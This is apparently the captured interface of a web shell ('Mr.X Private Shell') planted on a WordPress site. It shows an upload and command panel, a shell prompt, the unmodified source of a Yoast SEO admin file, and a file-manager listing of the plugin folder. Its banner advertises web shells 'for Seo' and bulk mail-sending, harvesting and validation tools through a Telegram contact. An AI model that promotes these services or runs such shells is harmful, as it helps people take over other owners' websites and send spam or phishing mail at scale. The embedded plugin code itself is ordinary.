__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Performs the load on admin side.
 */
class WPSEO_Admin_Init {

	/**
	 * Holds the global `$pagenow` variable's value.
	 *
	 * @var string
	 */
	private $pagenow;

	/**
	 * Holds the asset manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	private $asset_manager;

	/**
	 * Class constructor.
	 */
	public function __construct() {
		$GLOBALS['wpseo_admin'] = new WPSEO_Admin();

		$this->pagenow = $GLOBALS['pagenow'];

		$this->asset_manager = new WPSEO_Admin_Asset_Manager();

		add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_dismissible' ] );
		add_action( 'admin_init', [ $this, 'unsupported_php_notice' ], 15 );
		add_action( 'admin_init', [ $this, 'remove_translations_notification' ], 15 );
		add_action( 'admin_init', [ $this->asset_manager, 'register_assets' ] );
		add_action( 'admin_init', [ $this, 'show_hook_deprecation_warnings' ] );
		add_action( 'admin_init', [ 'WPSEO_Plugin_Conflict', 'hook_check_for_plugin_conflicts' ] );
		add_action( 'admin_notices', [ $this, 'permalink_settings_notice' ] );
		add_action( 'post_submitbox_misc_actions', [ $this, 'add_publish_box_section' ] );

		$this->load_meta_boxes();
		$this->load_taxonomy_class();
		$this->load_admin_page_class();
		$this->load_admin_user_class();
		$this->load_xml_sitemaps_admin();
		$this->load_plugin_suggestions();
	}

	/**
	 * Enqueue our styling for dismissible yoast notifications.
	 *
	 * @return void
	 */
	public function enqueue_dismissible() {
		$this->asset_manager->enqueue_style( 'dismissible' );
	}

	/**
	 * Removes any notification for incomplete translations.
	 *
	 * @return void
	 */
	public function remove_translations_notification() {
		$notification_center = Yoast_Notification_Center::get();
		$notification_center->remove_notification_by_id( 'i18nModuleTranslationAssistance' );
	}

	/**
	 * Creates an unsupported PHP version notification in the notification center.
	 *
	 * @return void
	 */
	public function unsupported_php_notice() {
		$notification_center = Yoast_Notification_Center::get();
		$notification_center->remove_notification_by_id( 'wpseo-dismiss-unsupported-php' );
	}

	/**
	 * Gets the latest released major WordPress version from the WordPress stable-check api.
	 *
	 * @return float|int The latest released major WordPress version. 0 when the stable-check API doesn't respond.
	 */
	private function get_latest_major_wordpress_version() {
		$core_updates = get_core_updates( [ 'dismissed' => true ] );

		if ( $core_updates === false ) {
			return 0;
		}

		$wp_version_latest = get_bloginfo( 'version' );
		foreach ( $core_updates as $update ) {
			if ( $update->response === 'upgrade' && version_compare( $update->version, $wp_version_latest, '>' ) ) {
				$wp_version_latest = $update->version;
			}
		}

		// Strip the patch version and convert to a float.
		return (float) $wp_version_latest;
	}

	/**
	 * Helper to verify if the user is currently visiting one of our admin pages.
	 *
	 * @return bool
	 */
	private function on_wpseo_admin_page() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		if ( ! isset( $_GET['page'] ) || ! is_string( $_GET['page'] ) ) {
			return false;
		}

		if ( $this->pagenow !== 'admin.php' ) {
			return false;
		}

		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
		$current_page = sanitize_text_field( wp_unslash( $_GET['page'] ) );
		return strpos( $current_page, 'wpseo' ) === 0;
	}

	/**
	 * Whether we should load the meta box classes.
	 *
	 * @return bool true if we should load the meta box classes, false otherwise.
	 */
	private function should_load_meta_boxes() {
		/**
		 * Filter: 'wpseo_always_register_metaboxes_on_admin' - Allow developers to change whether
		 * the WPSEO metaboxes are only registered on the typical pages (lean loading) or always
		 * registered when in admin.
		 *
		 * @param bool $register_metaboxes Whether to always register the metaboxes or not. Defaults to false.
		 */
		if ( apply_filters( 'wpseo_always_register_metaboxes_on_admin', false ) ) {
			return true;
		}

		// If we are in a post editor.
		if ( WPSEO_Metabox::is_post_overview( $this->pagenow ) || WPSEO_Metabox::is_post_edit( $this->pagenow ) ) {
			return true;
		}

		// If we are doing an inline save.
		if ( check_ajax_referer( 'inlineeditnonce', '_inline_edit', false ) && isset( $_POST['action'] ) && sanitize_text_field( wp_unslash( $_POST['action'] ) ) === 'inline-save' ) {
			return true;
		}

		return false;
	}

	/**
	 * Determine whether we should load the meta box class and if so, load it.
	 *
	 * @return void
	 */
	private function load_meta_boxes() {
		if ( $this->should_load_meta_boxes() ) {
			$GLOBALS['wpseo_metabox']      = new WPSEO_Metabox();
			$GLOBALS['wpseo_meta_columns'] = new WPSEO_Meta_Columns();
		}
	}

	/**
	 * Determine if we should load our taxonomy edit class and if so, load it.
	 *
	 * @return void
	 */
	private function load_taxonomy_class() {
		if (
			WPSEO_Taxonomy::is_term_edit( $this->pagenow )
			|| WPSEO_Taxonomy::is_term_overview( $this->pagenow )
		) {
			new WPSEO_Taxonomy();
		}
	}

	/**
	 * Determine if we should load our admin pages class and if so, load it.
	 *
	 * Loads admin page class for all admin pages starting with `wpseo_`.
	 *
	 * @return void
	 */
	private function load_admin_user_class() {
		if ( in_array( $this->pagenow, [ 'user-edit.php', 'profile.php' ], true )
			&& current_user_can( 'edit_users' )
		) {
			new WPSEO_Admin_User_Profile();
		}
	}

	/**
	 * Determine if we should load our admin pages class and if so, load it.
	 *
	 * Loads admin page class for all admin pages starting with `wpseo_`.
	 *
	 * @return void
	 */
	private function load_admin_page_class() {

		if ( $this->on_wpseo_admin_page() ) {
			// For backwards compatabilty, this still needs a global, for now...
			$GLOBALS['wpseo_admin_pages'] = new WPSEO_Admin_Pages();

			$page = null;

			// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
			if ( isset( $_GET['page'] ) && is_string( $_GET['page'] ) ) {
				// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information.
				$page = sanitize_text_field( wp_unslash( $_GET['page'] ) );
			}

			// Only renders Yoast SEO Premium upsells when the page is a Yoast SEO page.
			if ( $page !== null && WPSEO_Utils::is_yoast_seo_free_page( $page ) ) {
				$this->register_premium_upsell_admin_block();
			}
		}
	}

	/**
	 * Loads the plugin suggestions.
	 *
	 * @return void
	 */
	private function load_plugin_suggestions() {
		$suggestions = new WPSEO_Suggested_Plugins( new WPSEO_Plugin_Availability(), Yoast_Notification_Center::get() );
		$suggestions->register_hooks();
	}

	/**
	 * Registers the Premium Upsell Admin Block.
	 *
	 * @return void
	 */
	private function register_premium_upsell_admin_block() {
		if ( ! YoastSEO()->helpers->product->is_premium() ) {
			$upsell_block = new WPSEO_Premium_Upsell_Admin_Block( 'wpseo_admin_promo_footer' );
			$upsell_block->register_hooks();
		}
	}

	/**
	 * See if we should start our XML Sitemaps Admin class.
	 *
	 * @return void
	 */
	private function load_xml_sitemaps_admin() {
		if ( WPSEO_Options::get( 'enable_xml_sitemap', false, [ 'wpseo' ] ) ) {
			new WPSEO_Sitemaps_Admin();
		}
	}

	/**
	 * Shows deprecation warnings to the user if a plugin has registered a filter we have deprecated.
	 *
	 * @return void
	 */
	public function show_hook_deprecation_warnings() {
		global $wp_filter;

		if ( wp_doing_ajax() ) {
			return;
		}

		// WordPress hooks that have been deprecated since a Yoast SEO version.
		$deprecated_filters = [
			'wpseo_genesis_force_adjacent_rel_home' => [
				'version'     => '9.4',
				'alternative' => null,
			],
			'wpseo_opengraph' => [
				'version'     => '14.0',
				'alternative' => null,
			],
			'wpseo_twitter' => [
				'version'     => '14.0',
				'alternative' => null,
			],
			'wpseo_twitter_taxonomy_image' => [
				'version'     => '14.0',
				'alternative' => null,
			],
			'wpseo_twitter_metatag_key' => [
				'version'     => '14.0',
				'alternative' => null,
			],
			'wp_seo_get_bc_ancestors' => [
				'version'     => '14.0',
				'alternative' => 'wpseo_breadcrumb_links',
			],
			'validate_facebook_app_id_api_response_code' => [
				'version'     => '15.5',
				'alternative' => null,
			],
			'validate_facebook_app_id_api_response_body' => [
				'version'     => '15.5',
				'alternative' => null,
			],
		];

		// Determine which filters have been registered.
		$deprecated_notices = array_intersect(
			array_keys( $deprecated_filters ),
			array_keys( $wp_filter )
		);

		// Show notice for each deprecated filter or action that has been registered.
		foreach ( $deprecated_notices as $deprecated_filter ) {
			$deprecation_info = $deprecated_filters[ $deprecated_filter ];
			// phpcs:disable WordPress.Security.EscapeOutput.OutputNotEscaped -- Only uses the hardcoded values from above.
			_deprecated_hook(
				$deprecated_filter,
				'WPSEO ' . $deprecation_info['version'],
				$deprecation_info['alternative']
			);
			// phpcs:enable
		}
	}

	/**
	 * Check if the permalink uses %postname%.
	 *
	 * @return bool
	 */
	private function has_postname_in_permalink() {
		return ( strpos( get_option( 'permalink_structure' ), '%postname%' ) !== false );
	}

	/**
	 * Shows a notice on the permalink settings page.
	 *
	 * @return void
	 */
	public function permalink_settings_notice() {
		global $pagenow;

		if ( $pagenow === 'options-permalink.php' ) {
			printf(
				'<div class="notice notice-warning"><p><strong>%1$s</strong><br>%2$s<br><a href="%3$s" target="_blank">%4$s</a></p></div>',
				esc_html__( 'WARNING:', 'wordpress-seo' ),
				sprintf(
					/* translators: %1$s and %2$s expand to <em> items to emphasize the word in the middle. */
					esc_html__( 'Changing your permalinks settings can seriously impact your search engine visibility. It should almost %1$s never %2$s be done on a live website.', 'wordpress-seo' ),
					'<em>',
					'</em>'
				),
				esc_url( WPSEO_Shortlinker::get( 'https://yoa.st/why-permalinks/' ) ),
				// The link's content.
				esc_html__( 'Learn about why permalinks are important for SEO.', 'wordpress-seo' )
			);
		}
	}

	/**
	 * Adds a custom Yoast section within the Classic Editor publish box.
	 *
	 * @param WP_Post $post The current post object.
	 *
	 * @return void
	 */
	public function add_publish_box_section( $post ) {
		if ( in_array( $this->pagenow, [ 'post.php', 'post-new.php' ], true ) ) {
			?>
			<div id="yoast-seo-publishbox-section"></div>
			<?php
			/**
			 * Fires after the post time/date setting in the Publish meta box.
			 *
			 * @param WP_Post $post The current post object.
			 */
			do_action( 'wpseo_publishbox_misc_actions', $post );
		}
	}
}

Filemanager

Name Type Size Permission Actions
ajax Folder 0775
capabilities Folder 0775
endpoints Folder 0775
exceptions Folder 0775
filters Folder 0775
formatter Folder 0775
google_search_console Folder 0775
import Folder 0775
listeners Folder 0775
menu Folder 0775
metabox Folder 0775
notifiers Folder 0775
pages Folder 0775
roles Folder 0775
services Folder 0775
statistics Folder 0775
taxonomy Folder 0775
tracking Folder 0775
views Folder 0775
watchers Folder 0775
admin-settings-changed-listener.php File 2.39 KB 0775
ajax.php File 11.24 KB 0775
class-admin-asset-analysis-worker-location.php File 1.81 KB 0775
class-admin-asset-dev-server-location.php File 1.63 KB 0775
class-admin-asset-location.php File 488 B 0775
class-admin-asset-manager.php File 19.68 KB 0775
class-admin-asset-seo-location.php File 2.08 KB 0775
class-admin-editor-specific-replace-vars.php File 6.34 KB 0775
class-admin-gutenberg-compatibility-notification.php File 2.55 KB 0775
class-admin-help-panel.php File 2.7 KB 0775
class-admin-init.php File 10.71 KB 0775
class-admin-recommended-replace-vars.php File 5.98 KB 0775
class-admin-user-profile.php File 3.25 KB 0775
class-admin-utils.php File 2.14 KB 0775
class-admin.php File 13.13 KB 0775
class-asset.php File 4.3 KB 0775
class-bulk-description-editor-list-table.php File 2.05 KB 0775
class-bulk-editor-list-table.php File 29.4 KB 0775
class-bulk-title-editor-list-table.php File 2.23 KB 0775
class-collector.php File 1005 B 0775
class-config.php File 5.08 KB 0775
class-database-proxy.php File 7.5 KB 0775
class-export.php File 3.46 KB 0775
class-expose-shortlinks.php File 8.23 KB 0775
class-gutenberg-compatibility.php File 2.47 KB 0775
class-meta-columns.php File 27.31 KB 0775
class-my-yoast-proxy.php File 6.14 KB 0775
class-option-tab.php File 2.21 KB 0775
class-option-tabs-formatter.php File 2.84 KB 0775
class-option-tabs.php File 2.26 KB 0775
class-paper-presenter.php File 3.52 KB 0775
class-plugin-availability.php File 10.05 KB 0775
class-plugin-conflict.php File 4.04 KB 0775
class-premium-popup.php File 2.81 KB 0775
class-premium-upsell-admin-block.php File 5.11 KB 0775
class-primary-term-admin.php File 7.35 KB 0775
class-product-upsell-notice.php File 5.75 KB 0775
class-remote-request.php File 3.13 KB 0775
class-schema-person-upgrade-notification.php File 2.23 KB 0775
class-suggested-plugins.php File 4.33 KB 0775
class-wincher-dashboard-widget.php File 3.53 KB 0775
class-yoast-columns.php File 3.52 KB 0775
class-yoast-dashboard-widget.php File 3.96 KB 0775
class-yoast-form.php File 35.73 KB 0775
class-yoast-input-validation.php File 7.18 KB 0775
class-yoast-network-admin.php File 9.97 KB 0775
class-yoast-network-settings-api.php File 4.18 KB 0775
class-yoast-notification-center.php File 26.08 KB 0775
class-yoast-notification.php File 9.82 KB 0775
class-yoast-notifications.php File 7.63 KB 0775
class-yoast-plugin-conflict.php File 10.33 KB 0775
index.php File 38 B 0775
interface-collection.php File 257 B 0775
interface-installable.php File 254 B 0775
Filemanager